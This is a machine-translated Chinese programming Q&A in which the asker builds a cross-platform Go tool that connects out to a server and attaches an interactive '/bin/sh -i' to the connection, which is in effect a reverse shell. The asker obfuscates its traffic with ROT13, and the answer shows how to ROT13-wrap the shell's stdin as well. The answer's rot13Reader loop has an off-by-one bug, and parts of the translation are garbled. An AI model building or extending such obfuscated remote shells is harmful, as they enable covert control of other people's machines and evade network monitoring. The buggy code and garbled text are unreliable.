如何捕获色丁的字节数

目标:我想捕获cmd.Stdin的所有字节,并使用此rot13函数处理它们:https://play.golang.org/p/VX2pwaIqhmT


故事:我正在编写一个小工具,该工具将为win / linux进行交叉编译,所以我试图使它尽可能简单。此工具连接到服务器,我可以从中在客户端上执行命令。


由于我必须为cmd.Stdout做同样的事情,所以我使用了这个:


.......

conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)


......


cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** 

//***shell***, and not just a simple command

                                        

cmd.Stdin = conn


cmdStdout, err := cmd.StdoutPipe() // works fine

    if err != nil {

    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)


}


cmd.Stderr = conn


err = cmd.Start()

    if err != nil {

        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)

    }

.....

err = OBFprocessStream(cmdStdout, conn) // works fine

....

其中OBF处理流函数基于此函数:https://play.golang.org/p/j_TKZWuhGaK。这里一切都很好。


所以,我试图为cmd.Stdin复制同样的事情:


.......

conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)


......


cmd := exec.Command(/bin/sh, "-i") 

                                        

cmdStdin, err := cmd.StdinPipe() 

    if err != nil {

    fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)


}


cmdStdout, err := cmd.StdoutPipe()

    if err != nil {

    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)


}


cmd.Stderr = conn


err = cmd.Start()

    if err != nil {

        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)

    }


.....

err = INOBFprocessStream(cmdStdin, conn)

....


.....

err = OBFprocessStream(cmdStdout, conn)

....

但。。cmdStdin是一个Io.Writer关闭器,我真的不知道该怎么做才能捕获字节sEGIH秒狗hszrhoiò


你能帮帮我吗?


一只萌萌小番薯
浏览 121回答 1
1回答

胡子哥哥

因此,您实际上想要的似乎是从中读取数据,并使用ROT13对其进行过滤,然后将其传递给cmd.Stdin(接受)。connio.Reader而且你已经在实施io了。读者:rot13Readertype rot13Reader struct {&nbsp; &nbsp; r io.Reader}func (r13 *rot13Reader) Read(b []byte) (int, error) {&nbsp; &nbsp; n, err := r13.r.Read(b)&nbsp; &nbsp; for i := 0; i <= n; i++ {&nbsp; &nbsp; &nbsp; &nbsp; b[i] = rot13(b[i])&nbsp; &nbsp; }&nbsp; &nbsp; return n, err}因此,一个快速的解决方案可以是从中构建一个小的过滤器链,如下所示:&nbsp; &nbsp; cmd.Stdin = &rot13Reader{conn}
打开App,查看更多内容
随时随地看视频慕课网APP

相关分类

Go